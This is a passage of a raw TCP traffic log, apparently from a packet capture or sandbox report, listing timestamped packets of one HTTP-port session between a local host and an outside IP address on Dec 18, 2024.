Dec 18, 2024 14:07:38.170696020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.170742989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.170990944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.171608925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.171658039 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.171757936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.172487974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.172538042 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.172599077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.173301935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.173342943 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.173480988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.174185991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.174251080 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.174354076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.175070047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.175143003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.175241947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.176031113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.176043987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.176089048 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.176790953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.176834106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.176899910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.177751064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.177794933 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.177973986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.178541899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.178580999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.178680897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.179430962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.179442883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.179481983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.180347919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.180360079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.180394888 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.181109905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.181149006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.181243896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.181986094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.182033062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.182069063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.182965040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.182985067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.183007002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.183794022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.183845043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.183908939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.184617043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.184708118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.184727907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.185558081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.185590982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.185602903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.186353922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.186403990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.186460018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.187186003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.187227011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.187361002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.188047886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.188090086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.188141108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.189140081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.189152956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.189193964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.189883947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.189929962 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.189954042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.190660954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.190705061 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.190804005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.191622972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.191670895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.191767931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.192387104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.192430973 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.192501068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.193270922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.193312883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.193335056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.194175959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.194228888 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.194308043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.195118904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.195166111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.195178986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.195976019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.196077108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.196089029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.196919918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.196966887 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.197096109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.197729111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.197742939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.197778940 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.198503017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.198554993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.198620081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.199615955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.199641943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.199732065 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.200196981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.200242043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.200375080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.201139927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.201179981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.201193094 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.201994896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.202047110 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.202109098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.202873945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.202924013 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.203052044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.253308058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.312700987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.313101053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.313201904 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.313275099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.313424110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.313473940 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.313957930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.314053059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.314105988 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.314819098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.315161943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.315197945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.315407991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.316093922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.316107988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.316143036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.316867113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.316905975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.317096949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.317769051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.317807913 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.317854881 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.318614006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.318654060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.318731070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.319473982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.319519043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.319655895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.320293903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.320333004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.320475101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.321280956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.321294069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.321326971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.322051048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.322093010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.322160006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.322895050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.322942019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.322968006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.378351927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.392508030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.392654896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.392848969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.392935991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.393167973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.393224955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.393815994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.393877983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.393954992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.394501925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.394617081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.394664049 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.395196915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.395324945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.395373106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.395950079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.396127939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.396183014 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.396704912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.396866083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.396908045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.397694111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.397799969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.397850990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.398710012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.398861885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.398910999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.399590969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.399605036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.399650097 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.400425911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.400532961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.400587082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.401237011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.401248932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.401281118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.402040958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.402143002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.402262926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.402965069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.403106928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.403152943 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.403780937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.403830051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.403875113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.404715061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.404728889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.404767990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.405530930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.405637980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.405693054 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.406343937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.406583071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.406626940 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.407427073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.407447100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.407490969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.408301115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.408468962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.408520937 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.408890009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.408946991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.408993006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.409800053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.409812927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.409851074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.410571098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.410665035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.410717964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.411478043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.411536932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.411587000 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.412333012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.412420034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.412466049 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.413175106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.413281918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.413335085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.413986921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.414143085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.414191961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.414871931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.415038109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.415085077 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.415716887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.415882111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.415930986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.416681051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.416743994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.416800022 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.417499065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.417644024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.417692900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.418401003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.418555021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.418601036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.419204950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.419322968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.419368029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.420079947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.420164108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.420207024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.420926094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.421114922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.421159983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.421889067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.421905994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.421943903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.422683954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.422914028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.423127890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.423501968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.423696041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.423744917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.424422979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.424621105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.424666882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.425348043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.425620079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.425667048 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.504671097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.504714012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.504791975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.505098104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.505212069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.505254984 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.505826950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.505906105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.505966902 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.506721020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.506732941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.506777048 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.507102966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.507123947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.507175922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.508023024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.508038044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.508083105 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.508907080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.508920908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.508965015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.509762049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.509776115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.509824038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.510627031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.510929108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.510976076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.511514902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.511585951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.511631012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.512485027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.512556076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.512602091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.513448000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.513500929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.513550997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.514115095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.514208078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.514261961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.514847994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.514923096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.514969110 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.584355116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.584372044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.584434986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.584788084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.584831953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.584881067 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.585673094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.585755110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.585799932 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.586919069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.586980104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.587028980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.587481022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.587560892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.587603092 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.588255882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.588320017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.588362932 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.589448929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.589624882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.589670897 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.590230942 CET	80	49707	176.113.115.178	192.168.2.8
